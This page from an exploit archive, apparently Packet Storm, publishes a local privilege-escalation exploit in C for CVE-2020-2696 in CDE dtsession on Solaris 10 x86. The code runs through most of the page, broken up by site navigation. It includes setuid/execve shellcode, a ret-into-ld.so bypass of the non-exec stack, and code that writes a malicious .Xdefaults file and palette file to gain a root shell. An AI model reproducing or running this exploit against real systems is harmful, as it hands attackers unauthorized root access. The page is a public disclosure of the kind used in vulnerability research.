SunOS 5.10 Generic_147148-26 Local Privilege Escalation

Authored by Marco Ivaldi

Posted Jan 15, 2020

SunOS version 5.10 Generic_147148-26 local privilege escalation exploit. A buffer overflow in the CheckMonitor() function in the Common Desktop Environment versions 2.3.1 and earlier and 1.6 and earlier, as distributed with Oracle Solaris 10 1/13 (Update 11) and earlier, allows local users to gain root privileges via a long palette name passed to dtsession in a malicious .Xdefaults file.

tags | exploit, overflow, local, root
systems | solaris
advisories | CVE-2020-2696
SHA-256 | aa916b476c438bad08b7aea8b01a918e991d3830378d96635e1586a0f7f2b220 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit: SunOS 5.10 Generic_147148-26 - Local Privilege Escalation
# Date: 2020-01-15
# Author: Marco Ivaldi
# Vendor: www.oracle.com
# Software Link: https://www.oracle.com/technetwork/server-storage/solaris10/downloads/latest-
release/index.html
# CVE: CVE-2020-2696

/*
 * raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel
 * Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * A buffer overflow in the CheckMonitor() function in the Common Desktop
 * Environment 2.3.1 and earlier and 1.6 and earlier, as distributed with
 * Oracle Solaris 10 1/13 (Update 11) and earlier, allows local users to gain
 * root privileges via a long palette name passed to dtsession in a malicious
 * .Xdefaults file (CVE-2020-2696).
 *
 * "I always loved Sun because it was so easy to own. Now with Solaris 11 I
 * don't like it anymore." -- ~B.
 *
 * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack
 * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory
 * space, try returning to sprintf() instead of strcpy().
 *
 * I haven't written a Solaris/SPARC version because I don't have a SPARC box
 * on which Solaris 10 can run. If anybody is kind enough to give me access to
 * such a box, I'd be happy to port my exploit to Solaris/SPARC as well.
 *
 * Usage:
 * $ gcc raptor_dtsession_ipa.c -o raptor_dtsession_ipa -Wall
 * [on your xserver: disable the access control]
 * $ ./raptor_dtsession_ipa 192.168.1.1:0
 * [...]
 * # id
 * uid=0(root) gid=1(other)
 * #
 *
 * Tested on:
 * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
 * [previous Solaris versions are also likely vulnerable]
 */

#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#include <sys/types.h>

#define INFO1  "raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel"
#define INFO2  "Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define  VULN  "/usr/dt/bin/dtsession"    // the vulnerable program
#define  BUFSIZE  256        // size of the palette name
#define PADDING  3        // padding in the palette name
#define PAYSIZE  1024        // size of the payload
#define OFFSET  env_len / 2      // offset to the shellcode

char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";

/* globals */
char  *env[256];
int  env_pos = 0, env_len = 0;

/* prototypes */
int  add_env(char *string);
void  check_zero(int addr, char *pattern);
int  search_ldso(char *sym);
int  search_rwx_mem(void);
void  set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
  char  buf[BUFSIZE], payload[PAYSIZE];
  char  platform[256], release[256], display[256];
  int  i, payaddr;

  char  *arg[2] = {"foo", NULL};
  int  sb = ((int)argv[0] | 0xfff);  /* stack base */
  int  ret = search_ldso("strcpy");  /* or sprintf */
  int  rwx_mem = search_rwx_mem();  /* rwx memory */

  FILE  *fp;
  char  palette_file[BUFSIZE + 18];

  /* print exploit information */
  fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

  /* read command line */
  if (argc != 2) {
    fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
    exit(1);
  }
  sprintf(display, "DISPLAY=%s", argv[1]);

  /* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */
  memset(payload, '\x90', PAYSIZE);
  payload[PAYSIZE - 1] = 0x0;
  memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc));

  /* fill the envp, keeping padding */
  add_env(payload);
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
  add_env(display);
  add_env("HOME=/tmp");
  add_env(NULL);

  /* calculate the payload address */
  payaddr = sb - OFFSET;

  /* prepare the evil palette name */
  memset(buf, 'A', sizeof(buf));
  buf[sizeof(buf) - 1] = 0x0;

  /* fill with function address in ld.so.1, saved eip, and arguments */
  for (i = PADDING; i < BUFSIZE - 16; i += 4) {
    set_val(buf, i, ret);    /* strcpy */
    set_val(buf, i += 4, rwx_mem);  /* saved eip */
    set_val(buf, i += 4, rwx_mem);  /* 1st argument */
    set_val(buf, i += 4, payaddr);  /* 2nd argument */
  }

  /* prepare the evil .Xdefaults file */
  fp = fopen("/tmp/.Xdefaults", "w");
  if (!fp) {
    perror("error creating .Xdefaults file");
    exit(1);
  }
  fprintf(fp, "*0*ColorPalette: %s\n", buf); // or *0*MonochromePalette
  fclose(fp);

  /* prepare the evil palette file (badchars currently not handled) */
  mkdir("/tmp/.dt", 0755);
  mkdir("/tmp/.dt/palettes", 0755);
  sprintf(palette_file, "/tmp/.dt/palettes/%s", buf);
  fp = fopen(palette_file, "w");
  if (!fp) {
    perror("error creating palette file");
    exit(1);
  }
  fprintf(fp, "Black\n");
  fclose(fp);

  /* print some output */
  sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
  sysinfo(SI_RELEASE, release, sizeof(release) - 1);
  fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
  fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
  fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
  fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr);
  fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);

  /* run the vulnerable program */
  execve(VULN, arg, env);
  perror("execve");
  exit(0);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
  int  i;

  /* null termination */
  if (!string) {
    env[env_pos] = NULL;
    return env_len;
  }

  /* add the variable to envp */
  env[env_pos] = string;
  env_len += strlen(string) + 1;
  env_pos++;

  /* pad the envp using zeroes */
  if ((strlen(string) + 1) % 4)
    for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
      env[env_pos] = string + strlen(string);
      env_len++;
    }

  return env_len;
}

/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
  if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
      !(addr & 0xff000000)) {
    fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
    exit(1);
  }
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
  int    addr;
  void    *handle;
  Link_map  *lm;

  /* open the executable object file */
  if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
    perror("dlopen");
    exit(1);
  }

  /* get dynamic load information */
  if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
    perror("dlinfo");
    exit(1);
  }

  /* search for the address of the symbol */
  if ((addr = (int)dlsym(handle, sym)) == NULL) {
    fprintf(stderr, "sorry, function %s() not found\n", sym);
    exit(1);
  }

  /* close the executable object file */
  dlclose(handle);

  check_zero(addr - 4, sym);
  return addr;
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
  int  fd;
  char  tmp[16];
  prmap_t  map;
  int  addr = 0, addr_old;

  /* open the proc filesystem */
  sprintf(tmp,"/proc/%d/map", (int)getpid());
  if ((fd = open(tmp, O_RDONLY)) < 0) {
    fprintf(stderr, "can't open %s\n", tmp);
    exit(1);
  }

  /* search for the last RWX memory segment before stack (last - 1) */
  while (read(fd, &map, sizeof(map)))
    if (map.pr_vaddr)
      if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
        addr_old = addr;
        addr = map.pr_vaddr;
      }
  close(fd);

  /* add 4 to the exact address NULL bytes */
  if (!(addr_old & 0xff))
    addr_old |= 0x04;
  if (!(addr_old & 0xff00))
    addr_old |= 0x0400;

  return addr_old;
```

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

```
}

/*
 * set_val(): copy a dword inside a buffer (little endian)
 */
void set_val(char *buf, int pos, int val)
{
  buf[pos] =  (val & 0x000000ff);
  buf[pos + 1] =  (val & 0x0000ff00) >> 8;
  buf[pos + 2] =  (val & 0x00ff0000) >> 16;
  buf[pos + 3] =  (val & 0xff000000) >> 24;
}
```